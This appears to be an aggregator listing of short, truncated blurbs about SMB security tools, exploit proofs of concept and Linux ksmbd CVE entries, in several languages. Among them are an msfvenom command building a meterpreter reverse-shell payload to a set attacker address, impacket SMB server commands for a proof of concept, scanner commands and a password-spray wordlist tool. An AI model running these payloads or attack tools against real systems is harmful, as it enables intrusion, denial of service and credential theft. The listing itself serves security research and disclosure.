ntlm-scanner

¡Nuevo! Escaneo de explotación para CVE-2020-1472 ZeroLogon Escanee los controladores de dominio DCs en su red para detectar la explotación real de CVE-2020-1472 Ejemplos: root@kitploit: python scan.py -vuln CVE-2020-1472 -target-file targets.txt python scan.py -vuln CVE-2020-1472 -target La...

SMBetray

SMBetray Versión 1.0.0. Esta herramienta es una Prueba de Concepto PoC para demostrar la capacidad de un atacante de interceptar y modificar conexiones SMB inseguras, así como comprometer algunas conexiones SMB seguras si se conocen las credenciales. Antecedentes Publicado en Defcon26 en "SMBetra...

CVE-2022-24500

CVE-2022-24500 RCE Exploit Windows SMB Remote Code Execution Vulnerability Vulnerability: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 step 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw...

MSF_PassSpray_Wordlist_Generator

Password Spray Wordlist Generator A handy tool that helps you to create your own wordlist for Metasploit framework, in order to carry out a password spray attack against various network protocols in your victims' domain, such as SMB : Description Metasploit has multiple modules that can be utiliz...

CVE-2021-34527

CVE-2021-34527 PrintNightmare PoC 👾 📝 Description This simple Python script allows you to send a payload to a target IP address and port using the SMB protocol. It's designed to demonstrate the use of an SMB exploit payload for educational purposes. The payload is a hard-coded SMB message...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

pipe_finder

Pipe Finder 1.0 Automated script to search in SMB protocol for availables pipe names Screenshots Requirements metasploit-framework wget locate pipeauditv2.rb module https://github.com/peterpt/pipeauditorfb - It will be installed on first run Install Requirements apt-get install metasploit-framewo...

CVE-2020-0796-DoS

CVE-2020-0796 DoS PoC SMBGhost Una semplice dimostrazione che sfrutta CVE-2020-0796. Questo script provocherà un BSoD sulle macchine vulnerabili. Puro Python 3 senza dipendenze aggiuntive richieste. Utilizzo python CVE-2020-0796-DoS.py Crediti I dati dei pacchetti hard-coded derivano da questo...

cve-2023-23397-detection-lab

CVE-2023-23397 डिटेक्शन और मिटिगेशन रिसर्च लैब प्रोजेक्ट अवलोकन यह प्रोजेक्ट एक पृथक साइबर सुरक्षा लैब वातावरण में CVE-2023-23397 की जांच करता है, जिसमें आक्रामक शोषण के बजाय डिटेक्शन, नेटवर्क ट्रैफिक विश्लेषण, एंडपॉइंट टेलीमेट्री और मिटिगेशन पर ध्यान केंद्रित किया गया है। यह प्रोजेक्ट Zeek,...

SMBv3.1.1-scan---CVE-2020-0796

SMBv3-scan---CVE-2020-0796 Piccolo scanner per sapere se una macchina sta eseguendo SMBv3 possibile vulnerabilità CVE-2020-0796...

CVE-2020-0796-POC

CVE-2020-0796 Pre-Auth POC c 2020 ZecOps, Inc. - https://www.zecops.com - Trova gli errori degli attaccanti POC per verificare CVE-2020-0796 / "SMBGhost" Risultato previsto: Blue Screen Destinato solo a scopi educativi e di test in ambienti aziendali. ZecOps non si assume alcuna responsabilità pe...

MSFinger

MSFinger - Strumento di fingerprinting dei servizi di rete Microsoft Versione: 1.0 Autore: Laurent Gaffie Azienda: Secorizon Panoramica MSFinger è uno strumento di fingerprinting di rete ad alte prestazioni progettato per la ricognizione di reti interne. Identifica rapidamente i servizi Microsoft...

CVE-2025-55234

CVE-2025-55234 Questa vulnerabilità consente agli aggressori di effettuare attacchi di relay contro il protocollo SMB Server Message Block. Se ha successo, può portare a un Elevation of Privilege EoP, consentendo essenzialmente a utenti non autorizzati di ottenere accesso di livello superiore su ...

Astra Linux – Vulnerability found in Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: The “binding mark” of a reused connection was unset. Steve French reported a null pointer dereference error from the sha256 lib. The cifs.ko module can send session setup requests using a reused connection. If a reused...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in the Linux kernel before version 6.3.10. The file fs/smb/server/smb2misc.c in ksmbd does not validate the relationship between the command payload size and the RFC1002 length specification, resulting in a out-of-bounds read...

CVE-2026-74521

In the Linux kernel, the following vulnerability has been resolved: ksmbd: use memcmp to compare ClientGUIDs ClientGUID is a fixed-size binary value and can contain embedded NUL bytes. strncmp stops comparing at the first NUL byte, so different ClientGUID values can incorrectly be treated as equa...

CVE-2026-72492 ksmbd: fix use-after-free in same_client_has_lease()

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free in sameclienthaslease sameclienthaslease returns an opinfo pointer from ci-moplist after dropping ci-mlock without taking a reference. smbgrantoplock then dereferences that pointer in copylease and when...

The vulnerability of the ksmbd component in the Linux operating system’s kernel allows a hacker to trigger a service failure.

The vulnerability of the ksmbd component in the Linux operating system’s kernel is related to the lack of data security mechanisms. Exploiting this vulnerability can allow an attacker to cause service failures...

CVE-2026-68431

The CVE-2026-68431 entry documents a Linux kernel ksmbd flaw where SMB2 transform requests bypass minimum PDU size validation, allowing an unauthenticated remote attacker on SMB2.1 to trigger reads beyond the request allocation and potentially disclose data. The issue arises because the transform...

CVE-2026-68099 ksmbd: restore DACL size on check_add_overflow() to avoid malformed ACL

In the Linux kernel, the following vulnerability has been resolved: ksmbd: restore DACL size on checkaddoverflow to avoid malformed ACL checkaddoverflow unconditionally writes the truncated sum into d even on overflow, per its contract in include/linux/overflow.h. The four checkaddoverflow guards...